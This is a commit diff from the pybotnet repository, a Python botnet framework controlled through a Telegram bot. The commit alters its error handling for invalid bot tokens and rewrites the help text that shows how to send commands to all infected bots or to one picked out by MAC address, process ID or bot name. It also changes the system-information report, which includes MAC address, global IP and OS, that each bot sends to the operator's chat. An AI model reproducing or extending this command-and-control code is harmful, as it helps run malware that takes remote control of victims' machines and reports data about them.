Skip to content

Commit 0100312

Browse files
authored
Merge pull request #48 from onionj/Fix#47_handle-telegram-Unauthorized-message
fix: fix #47 , Unhandled Exception
2 parents 41ef7bc + d28ef45 commit 0100312

File tree

3 files changed

+48
-40
lines changed

3 files changed

+48
-40
lines changed

pybotnet/botnet.py

+23-25
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
import os
1414

1515
from .context import Context
16-
from .exceptions import UserException, EngineException
16+
from .exceptions import UserException
1717
from .package_info import __version__, __github_link__
1818
from .utils import get_global_ip, get_host_name_ip
1919

@@ -54,12 +54,7 @@ def __init__(
5454
self.scripts = {}
5555
self._debug = debug
5656
self.__run_time = time.time()
57-
self.__cache = {
58-
"system_info": {
59-
"minimal": {"save_time": None, "data": None},
60-
"full": {"save_time": None, "data": None},
61-
}
62-
}
57+
self.__cache = {}
6358

6459
if self.use_default_scripts:
6560
self.scripts.update(**BotNet.default_scripts)
@@ -134,39 +129,45 @@ def _help(self, script_name=None) -> str:
134129
135130
# Run a script:
136131
137-
- For all bots:
132+
- On all bots:
138133
139134
`/[SCRIPT-NAME] [params]`
140-
Example:
141-
`/echo hi`
135+
Examples:
136+
`/echo Hi`
142137
`/who`
143138
139+
144140
- For Select specific bot:
145141
142+
+ Option 1:
146143
`[mac-address] /[SCRIPT-NAME] [params]`
147144
Example:
148-
`{str(uuid.getnode())} /echo hi`
149-
`{str(uuid.getnode())} /who`
145+
`{str(uuid.getnode())} /echo Hi`
150146
147+
+ Option 2:
151148
`[BOT-NAME] /[SCRIPT-NAME] [params]`
152149
Example:
153-
`{self.BOT_NAME} /echo hi`
154-
`{self.BOT_NAME} /who`
150+
`{self.BOT_NAME} /echo Hi`
155151
152+
+ Option 3:
156153
`[pid] /[SCRIPT-NAME] [params]`
157154
Example:
158-
`{str(os.getpid())} {self.BOT_NAME} /echo hi`
159-
`{str(os.getpid())} {self.BOT_NAME} /who`
155+
`{str(os.getpid())} /echo Hi`
160156
157+
+ Option 4:
161158
`[mac-address] [pid] /[SCRIPT-NAME] [params]`
162159
Example:
163-
`{str(uuid.getnode())} {str(os.getpid())} /echo hi`
164-
`{str(uuid.getnode())} {str(os.getpid())} /who`
160+
`{str(uuid.getnode())} {str(os.getpid())} /echo Hi`
165161
162+
+ Option 5:
166163
`[mac-address] [BOT-NAME] /[SCRIPT-NAME] [params]`
167164
Example:
168-
`{str(uuid.getnode())} {self.BOT_NAME} /echo hi`
169-
`{str(uuid.getnode())} {self.BOT_NAME} /who`
165+
`{str(uuid.getnode())} {self.BOT_NAME} /echo Hi`
166+
167+
+ Option 6:
168+
`[mac-address] [BOT-NAME] [pid] /[SCRIPT-NAME] [params]`
169+
Example:
170+
`{str(uuid.getnode())} {self.BOT_NAME} {str(os.getpid())} /echo Hi`
170171
171172
172173
# PyBotNet version: {__version__}
@@ -218,10 +219,10 @@ def system_info(self, minimal=False):
218219
return data
219220

220221
minimal_info = {
221-
"scripts_name": list(self.scripts),
222+
"bot_name": self.BOT_NAME,
222223
"mac_addres": uuid.getnode(),
223224
"pid": os.getpid(),
224-
"bot_name": self.BOT_NAME,
225+
"scripts_name": list(self.scripts),
225226
"os": platform.system(),
226227
"global_ip": get_global_ip(),
227228
}
@@ -289,9 +290,6 @@ def _main_while(self):
289290

290291
try:
291292
command = self.engine.receive()
292-
except EngineException as e:
293-
_logger.debug(f"Engine[{self.engine}] Error: {e}")
294-
command = False
295293

296294
except Exception as e:
297295
_logger.debug(f"Engine[{self.engine}] Error: {e}")

pybotnet/engines/telegram_engine.py

+24-14
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66

77
from .base_engine import BaseEngine
88

9-
from ..exceptions import EngineException
109
from ..utils import proxy, upload_server
1110
import requests
1211

@@ -46,8 +45,8 @@ def receive(self) -> List[str]:
4645
return False
4746

4847
except Exception as e:
49-
_logger.debug(f"receive: error {e}")
50-
raise EngineException(e)
48+
_logger.debug(f"receive: error {type(e)}:{e}")
49+
return False
5150

5251
def send(
5352
self,
@@ -60,19 +59,21 @@ def send(
6059

6160
if len(additionalـinfo) > 0:
6261
additionalـinfo_str = ""
62+
6363
for k, v in additionalـinfo.items():
6464
additionalـinfo_str += f"\n{k}: {v}"
65+
6566
additionalـinfo_str += f"\nuse_proxy: {self._use_proxy}"
6667
message = f"{message}\n\n___________________________{additionalـinfo_str}"
6768

6869
message = urllib.parse.quote(message, safe=" ")
6970

7071
res = []
71-
split_message = [] # split message to avoid telegram error
72+
splited_message = [] # split message to avoid telegram error
7273
for i in range(0, len(message), 4096):
73-
split_message.append(message[i : i + 4096])
74+
splited_message.append(message[i : i + 4096])
7475

75-
for msg in split_message:
76+
for msg in splited_message:
7677
try:
7778
api_url = f"https://api.telegram.org/bot{self.token}/SendMessage?chat_id={self.admin_chat_id}&text={msg}"
7879

@@ -84,8 +85,8 @@ def send(
8485
res.append(self._http_request(method="POST", url=api_url))
8586

8687
except Exception as e:
87-
_logger.debug(f"send: error {e}")
88-
raise EngineException(e)
88+
_logger.debug(f"send: error: {type(e)}:{e}")
89+
return None
8990

9091
return res[0]
9192

@@ -128,17 +129,26 @@ def _http_request(self, method: str, url: str, timeout=15) -> List[Dict[str, Any
128129
if res == False:
129130
return False
130131

131-
return json.loads(res.replace("edited_message", "message")).get(
132-
"result", False
133-
)
132+
elif "(401) Unauthorized" in str(res):
133+
_logger.debug(f"Invalied Telegram Bot Token <--- Error")
134+
return False
135+
136+
try:
137+
return json.loads(res.replace("edited_message", "message")).get("result", False)
138+
except:
139+
_logger.debug(f"invalied json response: {res}")
140+
return False
134141

135142
def _getme(self):
136143
try:
137-
res = requests.get(
138-
f"https://api.telegram.org/bot{self.token}/getMe", timeout=0.5
139-
)
144+
res = requests.get(f"https://api.telegram.org/bot{self.token}/getMe", timeout=1)
145+
140146
if res.status_code == 200:
141147
return res.json()
148+
149+
elif res.status_code == 401:
150+
_logger.debug(f"getMe: Invalied Telegram Bot Token: <--- Error")
151+
142152
return False
143153

144154
except:

pybotnet/package_info.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
1-
__version__ = "2.2.3"
1+
__version__ = "2.2.4"
22
__github_link__ = "https://github.com/onionj/pybotnet"

0 commit comments

Comments
 (0)